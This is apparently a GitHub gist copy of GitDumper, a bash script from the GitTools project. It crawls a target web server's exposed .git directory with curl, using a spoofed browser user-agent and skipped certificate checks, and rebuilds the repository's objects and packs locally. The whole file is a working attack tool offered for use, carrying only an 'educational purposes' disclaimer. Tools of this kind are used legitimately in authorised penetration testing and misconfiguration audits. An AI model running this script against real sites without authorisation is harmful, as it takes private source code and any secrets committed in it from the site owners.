Created
December 13, 2019 07:24
-
-
Save vncloudsco/37af2b7790e8c0323a4ae82506a92f6b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#$1 : URL to download .git from (http://target.com/.git/) | |
#$2 : Folder where the .git-directory will be created | |
function init_header() { | |
cat <<EOF | |
########### | |
# GitDumper is part of https://github.com/internetwache/GitTools | |
# | |
# Developed and maintained by @gehaxelt from @internetwache | |
# | |
# Use at your own risk. Usage might be illegal in certain circumstances. | |
# Only for educational purposes! | |
########### | |
EOF | |
} | |
# get_git_dir "$@" for "--git-dir=asd" | |
# returns asd in GITDIR | |
function get_git_dir() { | |
local FLAG="--git-dir=" | |
local ARGS=${@} | |
for arg in $ARGS | |
do | |
if [[ $arg == $FLAG* ]]; then | |
echo "${arg#$FLAG}" | |
return | |
fi | |
done | |
echo ".git" | |
} | |
init_header | |
QUEUE=(); | |
DOWNLOADED=(); | |
BASEURL="$1"; | |
BASEDIR="$2"; | |
GITDIR=$(get_git_dir "$@") | |
BASEGITDIR="$BASEDIR/$GITDIR/"; | |
if [ $# -lt 2 ]; then | |
echo -e "\033[33m[*] USAGE: http://target.tld/.git/ dest-dir [--git-dir=otherdir]\033[0m"; | |
echo -e "\t\t--git-dir=otherdir\t\tChange the git folder name. Default: .git" | |
exit 1; | |
fi | |
if [[ ! "$BASEURL" =~ /$GITDIR/$ ]]; then | |
echo -e "\033[31m[-] /$GITDIR/ missing in url\033[0m"; | |
exit 0; | |
fi | |
if [ ! -d "$BASEGITDIR" ]; then | |
echo -e "\033[33m[*] Destination folder does not exist\033[0m"; | |
echo -e "\033[32m[+] Creating $BASEGITDIR\033[0m"; | |
mkdir -p "$BASEGITDIR"; | |
fi | |
function start_download() { | |
#Add initial/static git files | |
QUEUE+=('HEAD') | |
QUEUE+=('objects/info/packs') | |
QUEUE+=('description') | |
QUEUE+=('config') | |
QUEUE+=('COMMIT_EDITMSG') | |
QUEUE+=('index') | |
QUEUE+=('packed-refs') | |
QUEUE+=('refs/heads/master') | |
QUEUE+=('refs/remotes/origin/HEAD') | |
QUEUE+=('refs/stash') | |
QUEUE+=('logs/HEAD') | |
QUEUE+=('logs/refs/heads/master') | |
QUEUE+=('logs/refs/remotes/origin/HEAD') | |
QUEUE+=('info/refs') | |
QUEUE+=('info/exclude') | |
#Iterate through QUEUE until there are no more files to download | |
while [ ${#QUEUE[*]} -gt 0 ] | |
do | |
download_item ${QUEUE[@]:0:1} | |
#Remove item from QUEUE | |
QUEUE=( "${QUEUE[@]:1}" ) | |
done | |
} | |
function download_item() { | |
local objname=$1 | |
local url="$BASEURL$objname" | |
local hashes=() | |
local packs=() | |
#Check if file has already been downloaded | |
if [[ " ${DOWNLOADED[@]} " =~ " ${objname} " ]]; then | |
return | |
fi | |
local target="$BASEGITDIR$objname" | |
#Create folder | |
dir=$(echo "$objname" | grep -oE "^(.*)/") | |
if [ $? -ne 1 ]; then | |
mkdir -p "$BASEGITDIR/$dir" | |
fi | |
#Download file | |
curl -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" -f -k -s "$url" -o "$target" | |
#Mark as downloaded and remove it from the queue | |
DOWNLOADED+=("$objname") | |
if [ ! -f "$target" ]; then | |
echo -e "\033[31m[-] Downloaded: $objname\033[0m" | |
return | |
fi | |
echo -e "\033[32m[+] Downloaded: $objname\033[0m" | |
#Check if we have an object hash | |
if [[ "$objname" =~ /[a-f0-9]{2}/[a-f0-9]{38} ]]; then | |
#Switch into $BASEDIR and save current working directory | |
cwd=$(pwd) | |
cd "$BASEDIR" | |
#Restore hash from $objectname | |
hash=$(echo "$objname" | sed -e 's~objects~~g' | sed -e 's~/~~g') | |
#Check if it's valid git object | |
type=$(git cat-file -t "$hash" 2> /dev/null) | |
if [ $? -ne 0 ]; then | |
#Delete invalid file | |
cd "$cwd" | |
rm "$target" | |
return | |
fi | |
#Parse output of git cat-file -p $hash. Use strings for blobs | |
if [[ "$type" != "blob" ]]; then | |
hashes+=($(git cat-file -p "$hash" | grep -oE "([a-f0-9]{40})")) | |
else | |
hashes+=($(git cat-file -p "$hash" | strings -a | grep -oE "([a-f0-9]{40})")) | |
fi | |
cd "$cwd" | |
fi | |
#Parse file for other objects | |
hashes+=($(cat "$target" | strings -a | grep -oE "([a-f0-9]{40})")) | |
for hash in ${hashes[*]} | |
do | |
QUEUE+=("objects/${hash:0:2}/${hash:2}") | |
done | |
#Parse file for packs | |
packs+=($(cat "$target" | strings -a | grep -oE "(pack\-[a-f0-9]{40})")) | |
for pack in ${packs[*]} | |
do | |
QUEUE+=("objects/pack/$pack.pack") | |
QUEUE+=("objects/pack/$pack.idx") | |
done | |
} | |
start_download |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment